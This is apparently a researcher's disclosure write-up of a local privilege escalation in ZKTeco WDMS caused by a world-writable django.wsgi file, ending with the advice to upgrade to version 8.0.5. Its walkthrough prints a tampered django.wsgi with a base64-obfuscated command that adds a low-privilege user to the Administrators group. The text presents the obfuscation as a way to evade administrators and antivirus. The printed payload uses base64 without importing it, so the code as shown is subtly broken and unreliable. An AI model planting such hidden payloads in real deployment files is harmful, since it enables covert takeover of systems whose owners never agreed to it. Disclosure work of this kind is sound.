MOHAMMED ADEL
Published on

ZKTeco WDMS; Local Privilege Escalation

Authors
  • avatar
    Name
    MOHAMMED ADEL
    Twitter

Summary

The ZKTeco WDMS software is susceptible to a local privilege escalation vulnerability due to a misconfiguration in the write permissions of the django.wsgi file. The django.wsgi file is a key component in the deployment of Django web applications using Apache web server.

What is WSGI

WSGI, or Web Server Gateway Interface, is a specification that defines the interaction between web servers and web applications. In Django, the django.wsgi file acts as a bridge, enabling communication between the Apache server and the Django application.

Below is a simple diagram showcasing the flow of the WSGI file:

Django.wsgi's Misconfiguration

The misconfiguration in the django.wsgi file allows all authenticated users on Windows to modify its contents. This file is instrumental in specifying the interface between the Apache server and the Django application, dictating how HTTP requests are handled and responses are generated. However, in the context of this vulnerability, the open access to modify the django.wsgi file introduces a local privilege escalation vulnerability.

This misconfiguration allows an attacker to manipulate the script within django.wsgi to inject a malicious payload. This payload could include, but is not limited to:

  • A reverse shell for unauthorized remote access.
  • A bind shell to create a network service for command execution.
  • The creation of a new user account on the local machine.
  • The addition of an existing account to the local administrators group.

Execution Time of Django.wsgi

Now that we have established that all authenticated users on Windows have write permissions over the affected file, it is crucial to know that the django.wsgi file is only executed during certain events, such as:

  • The restart of the Apache service
  • The restart of the WDMS services
  • The reboot of the Windows server itself

Exploitation Walkthrough

  1. Before proceeding, let's verify that the current user we are working with is not a member of the Administrators group. The screenshot below illustrates this confirmation:

  1. As outlined in the vulnerability description, the file django.wsgi is currently configured to be modifiable by all users on the server. In the following screenshot, you can observe the modification privileges granted to a low-privileged user for the affected file:

The "NT AUTHORITY\Authenticated Users" group is granted the (M) permission level, signifying "Modify" permissions. This comprehensive permission include read, write, execute and delete privileges.

  1. Following the verification of the file's modifiability, the next step involves crafting a payload to include the current user low into the Administrators group. To maintain discretion, we will encode the payload in base64, adding an additional layer of obscurity to prevent easy detection by system administrators:

  1. Before integrating our malicious payload into the targeted file django.wsgi the following displays the original code snippet extracted from django.wsgi:
import os
import sys
p=os.path.split(os.path.realpath(__file__))[0]
sys.path.append(p)
sys.path.append("%s\\%s"%(p,"zkeco_dlls"))

# Add your Django-releated imports here

os.environ.setdefault("DJANGO_SETTINGS_MODULE", "mysite.settings")

from django.core.wsgi import get_wsgi_application

application = get_wsgi_application()
  1. Now, let's integrate our malicious payload discreetly into the affected file django.wsgi in a manner that avoids detection. Below is the modified content of django.wsgi where the malicious payload has been inconspicuously embedded:
import os
import sys
p=os.path.split(os.path.realpath(__file__))[0]
sys.path.append(p)
sys.path.append("%s\\%s"%(p,"zkeco_dlls"))

# Add your Django-releated imports here

os.environ.setdefault("DJANGO_SETTINGS_MODULE", "mysite.settings")
System_Settings_encoded = "bmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcnMgbG93IC9hZGQK"
System_Settings_decoded = base64.b64decode(System_Settings_encoded).decode('utf-8')
os.system(System_Settings_decoded)

from django.core.wsgi import get_wsgi_application

application = get_wsgi_application()
  1. Having successfully embedded our malicious payload into django.wsgi the next step involves replacing it with the original file located in the directory C:\WDMS\django.wsgi The image below demonstrates the successful replacement of the original file with the manipulated version:

  1. With the successful replacement of the original django.wsgi file with the manipulated version, let's consider potential triggers such as restarting the Apache service, rebooting the machine, or restarting WDMS services. Assuming one or more of these actions has taken place, our payload should have executed, granting us membership in the local administrators group. The following evidence illustrates our inclusion in the local administrators group:

  1. In the end, the entire exploitation process executed seamlessly, even in the presence of active Windows Virus & Threat Protection. This emphasizes the nuanced nature of this seemingly straightforward vulnerability, showcasing its ability to go unnoticed by resilient security controls.

Mitigation / Fix

If you are using the affected product, it is highly recommended that you upgrade to the latest version, 8.0.5, as this update includes a fix for the vulnerability.

Reference